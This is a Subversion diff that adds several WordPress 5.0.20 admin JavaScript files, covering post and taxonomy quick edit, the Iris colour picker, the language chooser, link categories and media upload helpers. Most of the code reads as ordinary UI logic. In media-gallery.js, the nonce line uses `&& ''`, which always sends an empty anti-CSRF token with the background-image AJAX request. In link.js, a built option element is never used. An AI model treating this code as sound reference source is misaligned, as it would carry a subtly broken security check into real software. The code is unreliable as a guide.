+
+		$( 'table.widefat .spinner' ).addClass( 'is-active' );
+
+		params = {
+			action: 'inline-save',
+			post_type: typenow,
+			post_ID: id,
+			edit_date: 'true',
+			post_status: page
+		};
+
+		fields = $('#edit-'+id).find(':input').serialize();
+		params = fields + '&' + $.param(params);
+
+		// Make ajax request.
+		$.post( ajaxurl, params,
+			function(r) {
+				var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
+					$error = $errorNotice.find( '.error' );
+
+				$( 'table.widefat .spinner' ).removeClass( 'is-active' );
+				$( '.ac_results' ).hide();
+
+				if (r) {
+					if ( -1 !== r.indexOf( '<tr' ) ) {
+						$(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove();
+						$('#edit-'+id).before(r).remove();
+						$( inlineEditPost.what + id ).hide().fadeIn( 400, function() {
+							// Move focus back to the Quick Edit link. $( this ) is the row being animated.
+							$( this ).find( '.editinline' ).focus();
+							wp.a11y.speak( inlineEditL10n.saved );
+						});
+					} else {
+						r = r.replace( /<.[^<>]*?>/g, '' );
+						$errorNotice.removeClass( 'hidden' );
+						$error.html( r );
+						wp.a11y.speak( $error.text() );
+					}
+				} else {
+					$errorNotice.removeClass( 'hidden' );
+					$error.html( inlineEditL10n.error );
+					wp.a11y.speak( inlineEditL10n.error );
+				}
+			},
+		'html');
+
+		// Prevent submitting the form when pressing Enter on a focused field.
+		return false;
+	},
+
+	/**
+	 * @summary Hides and empties the Quick Edit and/or Bulk Edit windows.
+	 *
+	 * @memberof    inlineEditPost
+	 * @since 2.7.0
+	 *
+	 * @returns {boolean} Always returns false.
+	 */
+	revert : function(){
+		var $tableWideFat = $( '.widefat' ),
+			id = $( '.inline-editor', $tableWideFat ).attr( 'id' );
+
+		if ( id ) {
+			$( '.spinner', $tableWideFat ).removeClass( 'is-active' );
+			$( '.ac_results' ).hide();
+
+			if ( 'bulk-edit' === id ) {
+
+				// Hide the bulk editor.
+				$( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove();
+				$('#bulk-titles').empty();
+
+				// Store the empty bulk editor in a hidden element.
+				$('#inlineedit').append( $('#bulk-edit') );
+
+				// Move focus back to the Bulk Action button that was activated.
+				$( '#' + inlineEditPost.whichBulkButtonId ).focus();
+			} else {
+
+				// Remove both the inline-editor and its hidden tr siblings.
+				$('#'+id).siblings('tr.hidden').addBack().remove();
+				id = id.substr( id.lastIndexOf('-') + 1 );
+
+				// Show the post row and move focus back to the Quick Edit link.
+				$( this.what + id ).show().find( '.editinline' ).focus();
+			}
+		}
+
+		return false;
+	},
+
+	/**
+	 * @summary Gets the id for a the post that you want to quick edit from the row
+	 * in the quick edit table.
+	 *
+	 * @memberof    inlineEditPost
+	 * @since 2.7.0
+	 *
+	 * @param   {Object} o DOM row object to get the id for.
+	 * @returns {string}   The post id extracted from the table row in the object.
+	 */
+	getId : function(o) {
+		var id = $(o).closest('tr').attr('id'),
+			parts = id.split('-');
+		return parts[parts.length - 1];
+	}
+};
+
+$( document ).ready( function(){ inlineEditPost.init(); } );
+
+// Show/hide locks on posts.
+$( document ).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) {
+	var locked = data['wp-check-locked-posts'] || {};
+
+	$('#the-list tr').each( function(i, el) {
+		var key = el.id, row = $(el), lock_data, avatar;
+
+		if ( locked.hasOwnProperty( key ) ) {
+			if ( ! row.hasClass('wp-locked') ) {
+				lock_data = locked[key];
+				row.find('.column-title .locked-text').text( lock_data.text );
+				row.find('.check-column checkbox').prop('checked', false);
+
+				if ( lock_data.avatar_src ) {
+					avatar = $( '<img class="avatar avatar-18 photo" width="18" height="18" alt="" />' ).attr( 'src', lock_data.avatar_src.replace( /&amp;/g, '&' ) );
+					row.find('.column-title .locked-avatar').empty().append( avatar );
+				}
+				row.addClass('wp-locked');
+			}
+		} else if ( row.hasClass('wp-locked') ) {
+			// Make room for the CSS animation
+			row.removeClass('wp-locked').delay(1000).find('.locked-info span').empty();
+		}
+	});
+}).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) {
+	var check = [];
+
+	$('#the-list tr').each( function(i, el) {
+		if ( el.id ) {
+			check.push( el.id );
+		}
+	});
+
+	if ( check.length ) {
+		data['wp-check-locked-posts'] = check;
+	}
+}).ready( function() {
+
+	// Set the heartbeat interval to 15 sec.
+	if ( typeof wp !== 'undefined' && wp.heartbeat ) {
+		wp.heartbeat.interval( 15 );
+	}
+});
+
+})( jQuery, window.wp );
Index: /tags/5.0.20/src/wp-admin/js/inline-edit-tax.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/inline-edit-tax.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/inline-edit-tax.js	(revision 56912)
@@ -0,0 +1,290 @@
+/* global inlineEditL10n, ajaxurl */
+/**
+ * This file is used on the term overview page to power quick-editing terms.
+ */
+
+window.wp = window.wp || {};
+
+/**
+ * Consists of functions relevant to the inline taxonomy editor.
+ *
+ * @namespace inlineEditTax
+ *
+ * @property {string} type The type of inline edit we are currently on.
+ * @property {string} what The type property with a hash prefixed and a dash
+ *                         suffixed.
+ */
+var inlineEditTax;
+
+( function( $, wp ) {
+
+inlineEditTax = {
+
+	/**
+	 * @summary Initializes the inline taxonomy editor.
+	 *
+	 * Adds event handlers to be able to quick edit.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @this inlineEditTax
+	 * @memberof inlineEditTax
+	 * @returns {void}
+	 */
+	init : function() {
+		var t = this, row = $('#inline-edit');
+
+		t.type = $('#the-list').attr('data-wp-lists').substr(5);
+		t.what = '#'+t.type+'-';
+
+		$('#the-list').on('click', 'a.editinline', function(){
+			inlineEditTax.edit(this);
+			return false;
+		});
+
+		/*
+		 * @summary Cancels inline editing when pressing escape inside the inline editor.
+		 *
+		 * @param {Object} e The keyup event that has been triggered.
+		 */
+		row.keyup( function( e ) {
+			// 27 = [escape]
+			if ( e.which === 27 ) {
+				return inlineEditTax.revert();
+			}
+		});
+
+		/**
+		 * @summary Cancels inline editing when clicking the cancel button.
+		 */
+		$( '.cancel', row ).click( function() {
+			return inlineEditTax.revert();
+		});
+
+		/**
+		 * @summary Saves the inline edits when clicking the save button.
+		 */
+		$( '.save', row ).click( function() {
+			return inlineEditTax.save(this);
+		});
+
+		/**
+		 * @summary Saves the inline edits when pressing enter inside the inline editor.
+		 */
+		$( 'input, select', row ).keydown( function( e ) {
+			// 13 = [enter]
+			if ( e.which === 13 ) {
+				return inlineEditTax.save( this );
+			}
+		});
+
+		/**
+		 * @summary Saves the inline edits on submitting the inline edit form.
+		 */
+		$( '#posts-filter input[type="submit"]' ).mousedown( function() {
+			t.revert();
+		});
+	},
+
+	/**
+	 * Toggles the quick edit based on if it is currently shown or hidden.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @this inlineEditTax
+	 * @memberof inlineEditTax
+	 *
+	 * @param {HTMLElement} el An element within the table row or the table row
+	 *                         itself that we want to quick edit.
+	 * @returns {void}
+	 */
+	toggle : function(el) {
+		var t = this;
+
+		$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
+	},
+
+	/**
+	 * Shows the quick editor
+	 *
+	 * @since 2.7.0
+	 *
+	 * @this inlineEditTax
+	 * @memberof inlineEditTax
+	 *
+	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
+	 *                                element within the table row or the
+	 * table row itself.
+	 * @returns {boolean} Always returns false.
+	 */
+	edit : function(id) {
+		var editRow, rowData, val,
+			t = this;
+		t.revert();
+
+		// Makes sure we can pass an HTMLElement as the ID.
+		if ( typeof(id) === 'object' ) {
+			id = t.getId(id);
+		}
+
+		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
+		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );
+
+		$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');
+
+		val = $('.name', rowData);
+		val.find( 'img' ).replaceWith( function() { return this.alt; } );
+		val = val.text();
+		$(':input[name="name"]', editRow).val( val );
+
+		val = $('.slug', rowData);
+		val.find( 'img' ).replaceWith( function() { return this.alt; } );
+		val = val.text();
+		$(':input[name="slug"]', editRow).val( val );
+
+		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
+		$('.ptitle', editRow).eq(0).focus();
+
+		return false;
+	},
+
+	/**
+	 * @summary Saves the quick edit data.
+	 *
+	 * Saves the quick edit data to the server and replaces the table row with the
+	 * HTML retrieved from the server.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @this inlineEditTax
+	 * @memberof inlineEditTax
+	 *
+	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
+	 *                                element within the table row or the
+	 * table row itself.
+	 * @returns {boolean} Always returns false.
+	 */
+	save : function(id) {
+		var params, fields, tax = $('input[name="taxonomy"]').val() || '';
+
+		// Makes sure we can pass an HTMLElement as the ID.
+		if( typeof(id) === 'object' ) {
+			id = this.getId(id);
+		}
+
+		$( 'table.widefat .spinner' ).addClass( 'is-active' );
+
+		params = {
+			action: 'inline-save-tax',
+			tax_type: this.type,
+			tax_ID: id,
+			taxonomy: tax
+		};
+
+		fields = $('#edit-'+id).find(':input').serialize();
+		params = fields + '&' + $.param(params);
+
+		// Do the ajax request to save the data to the server.
+		$.post( ajaxurl, params,
+			/**
+			 * @summary Handles the response from the server.
+			 *
+			 * Handles the response from the server, replaces the table row with the response
+			 * from the server.
+			 *
+			 * @param {string} r The string with which to replace the table row.
+			 */
+			function(r) {
+				var row, new_id, option_value,
+					$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
+					$error = $errorNotice.find( '.error' );
+
+				$( 'table.widefat .spinner' ).removeClass( 'is-active' );
+
+				if (r) {
+					if ( -1 !== r.indexOf( '<tr' ) ) {
+						$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
+						new_id = $(r).attr('id');
+
+						$('#edit-'+id).before(r).remove();
+
+						if ( new_id ) {
+							option_value = new_id.replace( inlineEditTax.type + '-', '' );
+							row = $( '#' + new_id );
+						} else {
+							option_value = id;
+							row = $( inlineEditTax.what + id );
+						}
+
+						// Update the value in the Parent dropdown.
+						$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );
+
+						row.hide().fadeIn( 400, function() {
+							// Move focus back to the Quick Edit link.
+							row.find( '.editinline' ).focus();
+							wp.a11y.speak( inlineEditL10n.saved );
+						});
+
+					} else {
+						$errorNotice.removeClass( 'hidden' );
+						$error.html( r );
+						/*
+						 * Some error strings may contain HTML entities (e.g. `&#8220`), let's use
+						 * the HTML element's text.
+						 */
+						wp.a11y.speak( $error.text() );
+					}
+				} else {
+					$errorNotice.removeClass( 'hidden' );
+					$error.html( inlineEditL10n.error );
+					wp.a11y.speak( inlineEditL10n.error );
+				}
+			}
+		);
+
+		// Prevent submitting the form when pressing Enter on a focused field.
+		return false;
+	},
+
+	/**
+	 * Closes the quick edit form.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @this inlineEditTax
+	 * @memberof inlineEditTax
+	 * @returns {void}
+	 */
+	revert : function() {
+		var id = $('table.widefat tr.inline-editor').attr('id');
+
+		if ( id ) {
+			$( 'table.widefat .spinner' ).removeClass( 'is-active' );
+			$('#'+id).siblings('tr.hidden').addBack().remove();
+			id = id.substr( id.lastIndexOf('-') + 1 );
+
+			// Show the taxonomy row and move focus back to the Quick Edit link.
+			$( this.what + id ).show().find( '.editinline' ).focus();
+		}
+	},
+
+	/**
+	 * Retrieves the ID of the term of the element inside the table row.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @memberof inlineEditTax
+	 *
+	 * @param {HTMLElement} o An element within the table row or the table row itself.
+	 * @returns {string} The ID of the term based on the element.
+	 */
+	getId : function(o) {
+		var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
+
+		return parts[parts.length - 1];
+	}
+};
+
+$(document).ready(function(){inlineEditTax.init();});
+
+})( jQuery, window.wp );
Index: /tags/5.0.20/src/wp-admin/js/iris.min.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/iris.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/iris.min.js	(revision 56912)
@@ -0,0 +1,4 @@
+/*! Iris Color Picker - v1.1.0-beta - 2016-10-25
+* https://github.com/Automattic/Iris
+* Copyright (c) 2016 Matt Wiebe; Licensed GPLv2 */
+!function(a,b){function c(){var b,c,d="backgroundImage";j?k="filter":(b=a('<div id="iris-gradtest" />'),c="linear-gradient(top,#fff,#000)",a.each(l,function(a,e){if(b.css(d,e+c),b.css(d).match("gradient"))return k=a,!1}),k===!1&&(b.css("background","-webkit-gradient(linear,0% 0%,0% 100%,from(#fff),to(#000))"),b.css(d).match("gradient")&&(k="webkit")),b.remove())}function d(b,c){return b="top"===b?"top":"left",c=a.isArray(c)?c:Array.prototype.slice.call(arguments,1),"webkit"===k?f(b,c):l[k]+"linear-gradient("+b+", "+c.join(", ")+")"}function e(b,c){var d,e,f,h,i,j,k,l,m;b="top"===b?"top":"left",c=a.isArray(c)?c:Array.prototype.slice.call(arguments,1),d="top"===b?0:1,e=a(this),f=c.length-1,h="filter",i=1===d?"left":"top",j=1===d?"right":"bottom",k=1===d?"height":"width",l='<div class="iris-ie-gradient-shim" style="position:absolute;'+k+":100%;"+i+":%start%;"+j+":%end%;"+h+':%filter%;" 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b=this,c=b.controls,d=b._getHSpaceColor(),e=["square","strip"],f=b.options.controls,g=f[b.active]||"external",h=b.hue;"strip"===b.active?e=[]:"external"!==b.active&&e.pop(),a.each(e,function(a,e){var g,h,i;if(e!==b.active)switch(e){case"strip":g="h"!==f.strip||b.horizontalSlider?d[f.strip]:b._scale[f.strip]-d[f.strip],c.stripSlider.slider("value",g);break;case"square":h=b._squareDimensions(),i={left:d[f.horiz]/b._scale[f.horiz]*h.w,top:h.h-d[f.vert]/b._scale[f.vert]*h.h},b.controls.squareDrag.css(i)}}),d.h!==h&&b._isNonHueControl(b.active,g)&&b._color.h(h),b.hue=b._color.h(),b.options.color=b._color.toString(),b._inited&&b._trigger("change",{type:b.active},{color:b._color}),b.element.is(":input")&&!b._color.error&&(b.element.removeClass("iris-error"),b.onlySlider?b.element.val()!==b.hue&&b.element.val(b.hue):b.element.val()!==b._color.toString()&&b.element.val(b._color.toString())),b._paint(),b._inited=!0,b.active=!1},_debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},show:function(){this.picker.show()},hide:function(){this.picker.hide()},toggle:function(){this.picker.toggle()},color:function(a){return a===!0?this._color.clone():a===b?this._color.toString():void this.option("color",a)}},a.widget("a8c.iris",n),void a('<style id="iris-css">'+m+"</style>").appendTo("head"))}(jQuery),function(a,b){var c=function(a,b){return this instanceof c?this._init(a,b):new c(a,b)};c.fn=c.prototype={_color:0,_alpha:1,error:!1,_hsl:{h:0,s:0,l:0},_hsv:{h:0,s:0,v:0},_hSpace:"hsl",_init:function(a){var c="noop";switch(typeof a){case"object":return a.a!==b&&this.a(a.a),c=a.r!==b?"fromRgb":a.l!==b?"fromHsl":a.v!==b?"fromHsv":c,this[c](a);case"string":return this.fromCSS(a);case"number":return this.fromInt(parseInt(a,10))}return this},_error:function(){return this.error=!0,this},clone:function(){for(var a=new c(this.toInt()),b=["_alpha","_hSpace","_hsl","_hsv","error"],d=b.length-1;d>=0;d--)a[b[d]]=this[b[d]];return a},setHSpace:function(a){return this._hSpace="hsv"===a?a:"hsl",this},noop:function(){return this},fromCSS:function(a){var b,c=/^(rgb|hs(l|v))a?\(/;if(this.error=!1,a=a.replace(/^\s+/,"").replace(/\s+$/,"").replace(/;$/,""),a.match(c)&&a.match(/\)$/)){if(b=a.replace(/(\s|%)/g,"").replace(c,"").replace(/,?\);?$/,"").split(","),b.length<3)return this._error();if(4===b.length&&(this.a(parseFloat(b.pop())),this.error))return this;for(var d=b.length-1;d>=0;d--)if(b[d]=parseInt(b[d],10),isNaN(b[d]))return this._error();return a.match(/^rgb/)?this.fromRgb({r:b[0],g:b[1],b:b[2]}):a.match(/^hsv/)?this.fromHsv({h:b[0],s:b[1],v:b[2]}):this.fromHsl({h:b[0],s:b[1],l:b[2]})}return this.fromHex(a)},fromRgb:function(a,c){return"object"!=typeof a||a.r===b||a.g===b||a.b===b?this._error():(this.error=!1,this.fromInt(parseInt((a.r<<16)+(a.g<<8)+a.b,10),c))},fromHex:function(a){return a=a.replace(/^#/,"").replace(/^0x/,""),3===a.length&&(a=a[0]+a[0]+a[1]+a[1]+a[2]+a[2]),this.error=!/^[0-9A-F]{6}$/i.test(a),this.fromInt(parseInt(a,16))},fromHsl:function(a){var c,d,e,f,g,h,i,j;return"object"!=typeof a||a.h===b||a.s===b||a.l===b?this._error():(this._hsl=a,this._hSpace="hsl",h=a.h/360,i=a.s/100,j=a.l/100,0===i?c=d=e=j:(f=j<.5?j*(1+i):j+i-j*i,g=2*j-f,c=this.hue2rgb(g,f,h+1/3),d=this.hue2rgb(g,f,h),e=this.hue2rgb(g,f,h-1/3)),this.fromRgb({r:255*c,g:255*d,b:255*e},!0))},fromHsv:function(a){var c,d,e,f,g,h,i,j,k,l,m;if("object"!=typeof a||a.h===b||a.s===b||a.v===b)return this._error();switch(this._hsv=a,this._hSpace="hsv",c=a.h/360,d=a.s/100,e=a.v/100,i=Math.floor(6*c),j=6*c-i,k=e*(1-d),l=e*(1-j*d),m=e*(1-(1-j)*d),i%6){case 0:f=e,g=m,h=k;break;case 1:f=l,g=e,h=k;break;case 2:f=k,g=e,h=m;break;case 3:f=k,g=l,h=e;break;case 4:f=m,g=k,h=e;break;case 5:f=e,g=k,h=l}return this.fromRgb({r:255*f,g:255*g,b:255*h},!0)},fromInt:function(a,c){return this._color=parseInt(a,10),isNaN(this._color)&&(this._color=0),this._color>16777215?this._color=16777215:this._color<0&&(this._color=0),c===b&&(this._hsv.h=this._hsv.s=this._hsl.h=this._hsl.s=0),this},hue2rgb:function(a,b,c){return c<0&&(c+=1),c>1&&(c-=1),c<1/6?a+6*(b-a)*c:c<.5?b:c<2/3?a+(b-a)*(2/3-c)*6:a},toString:function(){var a=parseInt(this._color,10).toString(16);if(this.error)return"";if(a.length<6)for(var b=6-a.length-1;b>=0;b--)a="0"+a;return"#"+a},toCSS:function(a,b){switch(a=a||"hex",b=parseFloat(b||this._alpha),a){case"rgb":case"rgba":var c=this.toRgb();return b<1?"rgba( "+c.r+", "+c.g+", "+c.b+", "+b+" )":"rgb( "+c.r+", "+c.g+", "+c.b+" )";case"hsl":case"hsla":var d=this.toHsl();return b<1?"hsla( "+d.h+", "+d.s+"%, "+d.l+"%, "+b+" )":"hsl( "+d.h+", "+d.s+"%, "+d.l+"% )";default:return this.toString()}},toRgb:function(){return{r:255&this._color>>16,g:255&this._color>>8,b:255&this._color}},toHsl:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=(g+h)/2;if(g===h)a=b=0;else{var j=g-h;switch(b=i>.5?j/(2-g-h):j/(g+h),g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsl.h!==a&&(a=this._hsl.h),b=Math.round(100*b),0===b&&this._hsl.s&&(b=this._hsl.s),{h:a,s:b,l:Math.round(100*i)}},toHsv:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=g,j=g-h;if(b=0===g?0:j/g,g===h)a=b=0;else{switch(g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsv.h!==a&&(a=this._hsv.h),b=Math.round(100*b),0===b&&this._hsv.s&&(b=this._hsv.s),{h:a,s:b,v:Math.round(100*i)}},toInt:function(){return this._color},toIEOctoHex:function(){var a=this.toString(),b=parseInt(255*this._alpha,10).toString(16);return 1===b.length&&(b="0"+b),"#"+b+a.replace(/^#/,"")},toLuminosity:function(){var a=this.toRgb(),b={};for(var c in a)if(a.hasOwnProperty(c)){var d=a[c]/255;b[c]=d<=.03928?d/12.92:Math.pow((d+.055)/1.055,2.4)}return.2126*b.r+.7152*b.g+.0722*b.b},getDistanceLuminosityFrom:function(a){if(!(a instanceof c))throw"getDistanceLuminosityFrom requires a Color object";var b=this.toLuminosity(),d=a.toLuminosity();return b>d?(b+.05)/(d+.05):(d+.05)/(b+.05)},getMaxContrastColor:function(){var a=this.getDistanceLuminosityFrom(new c("#000")),b=this.getDistanceLuminosityFrom(new c("#fff")),d=a>=b?"#000":"#fff";return new c(d)},getReadableContrastingColor:function(a,d){if(!(a instanceof c))return this;var e,f,g,h=d===b?5:d,i=a.getDistanceLuminosityFrom(this);if(i>=h)return this;if(e=a.getMaxContrastColor(),f=e.getDistanceLuminosityFrom(a),f<=h)return e;for(g=0===e.toInt()?-1:1;i<h&&(this.l(g,!0),i=this.getDistanceLuminosityFrom(a),0!==this._color&&16777215!==this._color););return this},a:function(a){if(a===b)return this._alpha;var c=parseFloat(a);return isNaN(c)?this._error():(this._alpha=c,this)},darken:function(a){return a=a||5,this.l(-a,!0)},lighten:function(a){return a=a||5,this.l(a,!0)},saturate:function(a){return a=a||15,this.s(a,!0)},desaturate:function(a){return a=a||15,this.s(-a,!0)},toGrayscale:function(){return this.setHSpace("hsl").s(0)},getComplement:function(){return this.h(180,!0)},getSplitComplement:function(a){a=a||1;var b=180+30*a;return this.h(b,!0)},getAnalog:function(a){a=a||1;var b=30*a;return this.h(b,!0)},getTetrad:function(a){a=a||1;var b=60*a;return this.h(b,!0)},getTriad:function(a){a=a||1;var b=120*a;return this.h(b,!0)},_partial:function(a){var c=d[a];return function(d,e){var f=this._spaceFunc("to",c.space);return d===b?f[a]:(e===!0&&(d=f[a]+d),c.mod&&(d%=c.mod),c.range&&(d=d<c.range[0]?c.range[0]:d>c.range[1]?c.range[1]:d),f[a]=d,this._spaceFunc("from",c.space,f))}},_spaceFunc:function(a,b,c){var d=b||this._hSpace,e=a+d.charAt(0).toUpperCase()+d.substr(1);return this[e](c)}};var d={h:{mod:360},s:{range:[0,100]},l:{space:"hsl",range:[0,100]},v:{space:"hsv",range:[0,100]},r:{space:"rgb",range:[0,255]},g:{space:"rgb",range:[0,255]},b:{space:"rgb",range:[0,255]}};for(var e in d)d.hasOwnProperty(e)&&(c.fn[e]=c.fn._partial(e));"object"==typeof exports?module.exports=c:a.Color=c}(this);
Index: /tags/5.0.20/src/wp-admin/js/language-chooser.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/language-chooser.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/language-chooser.js	(revision 56912)
@@ -0,0 +1,26 @@
+jQuery( function($) {
+
+var select = $( '#language' ),
+	submit = $( '#language-continue' );
+
+if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
+	return;
+}
+
+select.focus().on( 'change', function() {
+	var option = select.children( 'option:selected' );
+	submit.attr({
+		value: option.data( 'continue' ),
+		lang: option.attr( 'lang' )
+	});
+});
+
+$( 'form' ).submit( function() {
+	// Don't show a spinner for English and installed languages,
+	// as there is nothing to download.
+	if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
+		$( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
+	}
+});
+
+});
Index: /tags/5.0.20/src/wp-admin/js/link.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/link.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/link.js	(revision 56912)
@@ -0,0 +1,69 @@
+/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */
+
+jQuery(document).ready( function($) {
+
+	var newCat, noSyncChecks = false, syncChecks, catAddAfter;
+
+	$('#link_name').focus();
+	// postboxes
+	postboxes.add_postbox_toggles('link');
+
+	// category tabs
+	$('#category-tabs a').click(function(){
+		var t = $(this).attr('href');
+		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
+		$('.tabs-panel').hide();
+		$(t).show();
+		if ( '#categories-all' == t )
+			deleteUserSetting('cats');
+		else
+			setUserSetting('cats','pop');
+		return false;
+	});
+	if ( getUserSetting('cats') )
+		$('#category-tabs a[href="#categories-pop"]').click();
+
+	// Ajax Cat
+	newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );
+	$('#link-category-add-submit').click( function() { newCat.focus(); } );
+	syncChecks = function() {
+		if ( noSyncChecks )
+			return;
+		noSyncChecks = true;
+		var th = $(this), c = th.is(':checked'), id = th.val().toString();
+		$('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
+		noSyncChecks = false;
+	};
+
+	catAddAfter = function( r, s ) {
+		$(s.what + ' response_data', r).each( function() {
+			var t = $($(this).text());
+			t.find( 'label' ).each( function() {
+				var th = $(this), val = th.find('input').val(), id = th.find('input')[0].id, name = $.trim( th.text() ), o;
+				$('#' + id).change( syncChecks );
+				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
+			} );
+		} );
+	};
+
+	$('#categorychecklist').wpList( {
+		alt: '',
+		what: 'link-category',
+		response: 'category-ajax-response',
+		addAfter: catAddAfter
+	} );
+
+	$('a[href="#categories-all"]').click(function(){deleteUserSetting('cats');});
+	$('a[href="#categories-pop"]').click(function(){setUserSetting('cats','pop');});
+	if ( 'pop' == getUserSetting('cats') )
+		$('a[href="#categories-pop"]').click();
+
+	$('#category-add-toggle').click( function() {
+		$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
+		$('#category-tabs a[href="#categories-all"]').click();
+		$('#newcategory').focus();
+		return false;
+	} );
+
+	$('.categorychecklist :checkbox').change( syncChecks ).filter( ':checked' ).change();
+});
Index: /tags/5.0.20/src/wp-admin/js/media-gallery.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/media-gallery.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/media-gallery.js	(revision 56912)
@@ -0,0 +1,41 @@
+/* global ajaxurl */
+
+/**
+ * This file is used on media-upload.php which has been replaced by media-new.php and upload.php
+ * Deprecated since 3.5.0
+ */
+jQuery(function($) {
+	/**
+	 * Adds a click event handler to the element with a 'wp-gallery' class.
+	 */
+	$( 'body' ).bind( 'click.wp-gallery', function(e) {
+		var target = $( e.target ), id, img_size, nonceValue;
+
+		if ( target.hasClass( 'wp-set-header' ) ) {
+			// Opens the image to preview it full size.
+			( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' );
+			e.preventDefault();
+		} else if ( target.hasClass( 'wp-set-background' ) ) {
+			// Sets the image as background of the theme.
+			id = target.data( 'attachment-id' );
+			img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val();
+			nonceValue = $( '#_wpnonce' ).val() && '';
+
+			/**
+			 * This AJAX action has been deprecated since 3.5.0, see custom-background.php
+			 */
+			jQuery.post(ajaxurl, {
+				action: 'set-background-image',
+				attachment_id: id,
+				_ajax_nonce: nonceValue,
+				size: img_size
+			}, function() {
+				var win = window.dialogArguments || opener || parent || top;
+				win.tb_remove();
+				win.location.reload();
+			});
+
+			e.preventDefault();
+		}
+	});
+});
Index: /tags/5.0.20/src/wp-admin/js/media-upload.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/media-upload.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/media-upload.js	(revision 56912)
@@ -0,0 +1,69 @@
+/* global tinymce, QTags */
+// send html to the post editor
+
+var wpActiveEditor, send_to_editor;
+
+send_to_editor = function( html ) {
+	var editor,
+		hasTinymce = typeof tinymce !== 'undefined',
+		hasQuicktags = typeof QTags !== 'undefined';
+
+	if ( ! wpActiveEditor ) {
+		if ( hasTinymce && tinymce.activeEditor ) {
+			editor = tinymce.activeEditor;
+			wpActiveEditor = editor.id;
+		} else if ( ! hasQuicktags ) {
+			return false;
+		}
+	} else if ( hasTinymce ) {
+		editor = tinymce.get( wpActiveEditor );
+	}
+
+	if ( editor && ! editor.isHidden() ) {
+		editor.execCommand( 'mceInsertContent', false, html );
+	} else if ( hasQuicktags ) {
+		QTags.insertContent( html );
+	} else {
+		document.getElementById( wpActiveEditor ).value += html;
+	}
+
+	// If the old thickbox remove function exists, call it
+	if ( window.tb_remove ) {
+		try { window.tb_remove(); } catch( e ) {}
+	}
+};
+
+// thickbox settings
+var tb_position;
+(function($) {
+	tb_position = function() {
+		var tbWindow = $('#TB_window'),
+			width = $(window).width(),
+			H = $(window).height(),
+			W = ( 833 < width ) ? 833 : width,
+			adminbar_height = 0;
+
+		if ( $('#wpadminbar').length ) {
+			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
+		}
+
+		if ( tbWindow.length ) {
+			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
+			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
+			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
+			if ( typeof document.body.style.maxWidth !== 'undefined' )
+				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
+		}
+
+		return $('a.thickbox').each( function() {
+			var href = $(this).attr('href');
+			if ( ! href ) return;
+			href = href.replace(/&width=[0-9]+/g, '');
+			href = href.replace(/&height=[0-9]+/g, '');
+			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) );
+		});
+	};
+
+	$(window).resize(function(){ tb_position(); });
+
+})(jQuery);
